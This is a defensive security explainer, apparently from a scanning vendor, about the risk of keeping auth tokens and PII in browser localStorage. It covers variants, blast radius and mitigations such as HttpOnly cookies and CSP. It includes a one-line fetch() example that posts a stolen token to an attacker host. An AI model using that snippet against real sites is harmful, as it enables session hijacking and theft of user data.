The hook
Storing auth tokens in localStorage is one of the most-debated patterns in web security and one of the most-shipped patterns in production. The motivation is real — cookies are fiddly, CSRF protection is annoying, cross-domain requests don't carry cookies easily — and the framework tutorials make it look easy: 'just save the JWT in localStorage and add it to your fetch headers.' The trade-off the tutorials don't make explicit: localStorage is JavaScript-readable by definition, so you've forfeited the single biggest XSS-blast-radius reduction (HttpOnly cookies). Every successful XSS in your app — DOM-based, reflected, or stored — is now a complete account takeover with no work beyond `fetch(attacker, { method: 'POST', body: localStorage.getItem('token') })`.
Founga 'oku ngaue ai
localStorage is plain key-value storage accessible from any JavaScript running on the origin. Unlike cookies, there is no flag that prevents scripts from reading it; the API is `localStorage.getItem('token')` and that's it. sessionStorage has the same story (just a shorter lifetime). The exfiltration takes one line of JavaScript: an attacker who lands any flavor of XSS — even a brief one in an obscure code path — reads the token, ships it to attacker.tld, and now has session-equivalent access from anywhere. Some apps try to mitigate by using short-lived tokens, but 'short' in JS is still long enough — the attacker doesn't replay the token weeks later, they replay it in real time during the same session.
The variants
JWT in localStorage
Most common pattern. Login response stores the JWT, fetch interceptor adds it to Authorization headers. XSS reads it, session is over.
OAuth tokens in sessionStorage
Same readable-from-JS story; just a shorter window. Some SPA frameworks default to this for OAuth flows.
Refresh token in localStorage
Worse than access tokens — refresh tokens persist longer and let the attacker mint new access tokens indefinitely.
PII in browser storage
Not just tokens. Some apps cache user PII, billing info, or document drafts in localStorage. XSS exfiltrates all of it, not just the auth token.
The blast radius
Full session hijack on any successful XSS. The token doesn't need to be valid for long — the exfiltration is instant. With refresh tokens stored alongside, the attacker maintains access indefinitely. PII leakage if the app caches user data in storage — emails, addresses, document content. In B2B SaaS, this becomes a multi-tenant disclosure event.
// what fixvibe checks
What FixVibe checks
FixVibe checks shipped client assets for high-confidence secret exposure signals and known credential formats. Reports identify the affected asset and rotation path. For check-specific questions about exact detection heuristics, active payload details, or source-code rule patterns, contact support@fixvibe.app.
Ironclad defenses
Store auth tokens in HttpOnly + Secure + SameSite=Lax cookies. The browser sends them automatically with same-site requests; JavaScript can't read them. Treat localStorage as user-readable display state (UI preferences, last-viewed item, etc.) rather than auth state. If you have a genuine architectural need for token-in-JS (cross-domain APIs that can't use cookies, mobile webview integrations), keep the token lifetime aggressively short (5-15 min), use refresh-token rotation with detection of replay (refresh tokens are single-use; re-using a previously-used refresh token signals theft), and pair with strict CSP so the XSS that reads the token is hard to land in the first place. Under no circumstance should refresh tokens or PII live in localStorage long-term — the cost-benefit of 'easier development' versus 'XSS = total compromise' is wildly lopsided.
